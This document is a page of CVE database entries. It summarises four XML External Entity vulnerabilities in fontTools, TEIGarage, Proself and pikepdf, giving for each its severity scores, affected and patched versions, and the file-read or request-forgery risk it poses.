CVE-2023-45139
Matching Score-4
Assigner-GitHub, Inc.
ShareView Details
Matching Score-4
Assigner-GitHub, Inc.
CVSS Score-7.5||HIGH
EPSS-0.13% / 33.46%
||
7 Day CHG~0.00%
Published-10 Jan, 2024 | 16:03
Updated-03 Jun, 2025 | 14:27
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available
fonttools XML External Entity Injection (XXE) Vulnerability

fontTools is a library for manipulating fonts, written in Python. The subsetting module has a XML External Entity Injection (XXE) vulnerability which allows an attacker to resolve arbitrary entities when a candidate font (OT-SVG fonts), which contains a SVG table, is parsed. This allows attackers to include arbitrary files from the filesystem fontTools is running on or make web requests from the host system. This vulnerability has been patched in version 4.43.0.

Action-Not Available
Vendor-fonttoolsfonttools
Product-fonttoolsfonttools
CWE ID-CWE-611
Improper Restriction of XML External Entity Reference
CVE-2025-31497
Matching Score-4
Assigner-GitHub, Inc.
ShareView Details
Matching Score-4
Assigner-GitHub, Inc.
CVSS Score-7.5||HIGH
EPSS-0.09% / 26.82%
||
7 Day CHG~0.00%
Published-15 Apr, 2025 | 20:00
Updated-16 Apr, 2025 | 13:25
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available
TEIGarage XML External Entity (XXE) Injection in Document Conversion Service

TEIGarage is a webservice and RESTful service to transform, convert and validate various formats, focussing on the TEI format. The Document Conversion Service contains a critical XML External Entity (XXE) Injection vulnerability in its document conversion functionality. The service processes XML files during the conversion process but fails to disable external entity processing, allowing an attacker to read arbitrary files from the server's filesystem. This vulnerability could allow attackers to read sensitive files from the server's filesystem, potentially exposing configuration files, credentials, or other confidential information. Additionally, depending on the server configuration, this could potentially be used to perform server-side request forgery (SSRF) attacks by making the server connect to internal services. This issue is patched in version 1.2.4. A workaround for this vulnerability includes disabling external entity processing in the XML parser by setting the appropriate security features (e.g., XMLConstants.FEATURE_SECURE_PROCESSING).

Action-Not Available
Vendor-TEIC
Product-TEIGarage
CWE ID-CWE-611
Improper Restriction of XML External Entity Reference
CVE-2023-45727
Matching Score-4
Assigner-JPCERT/CC
ShareView Details
Matching Score-4
Assigner-JPCERT/CC
CVSS Score-7.5||HIGH
EPSS-20.60% / 95.36%
||
7 Day CHG~0.00%
Published-18 Oct, 2023 | 09:01
Updated-30 Jul, 2025 | 01:37
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available
Known KEV||Action Due Date - 2024-12-24||Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.

Proself Enterprise/Standard Edition Ver5.62 and earlier, Proself Gateway Edition Ver1.65 and earlier, and Proself Mail Sanitize Edition Ver1.08 and earlier allow a remote unauthenticated attacker to conduct XML External Entity (XXE) attacks. By processing a specially crafted request containing malformed XML data, arbitrary files on the server containing account information may be read by the attacker.

Action-Not Available
Vendor-northgridNorth Grid CorporationnorthgridNorth Grid
Product-proselfProself Mail Sanitize EditionProself Enterprise/Standard EditionProself Gateway EditionproselfProself
CWE ID-CWE-611
Improper Restriction of XML External Entity Reference
CVE-2021-29421
Matching Score-4
Assigner-MITRE Corporation
ShareView Details
Matching Score-4
Assigner-MITRE Corporation
CVSS Score-7.5||HIGH
EPSS-0.37% / 58.23%
||
7 Day CHG~0.00%
Published-01 Apr, 2021 | 00:00
Updated-03 Aug, 2024 | 22:02
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available

models/metadata.py in the pikepdf package 1.3.0 through 2.9.2 for Python allows XXE when parsing XMP metadata entries.

Action-Not Available
Vendor-pikepdf_projectn/aFedora Project
Product-pikepdffedoran/a
CWE ID-CWE-611
Improper Restriction of XML External Entity Reference
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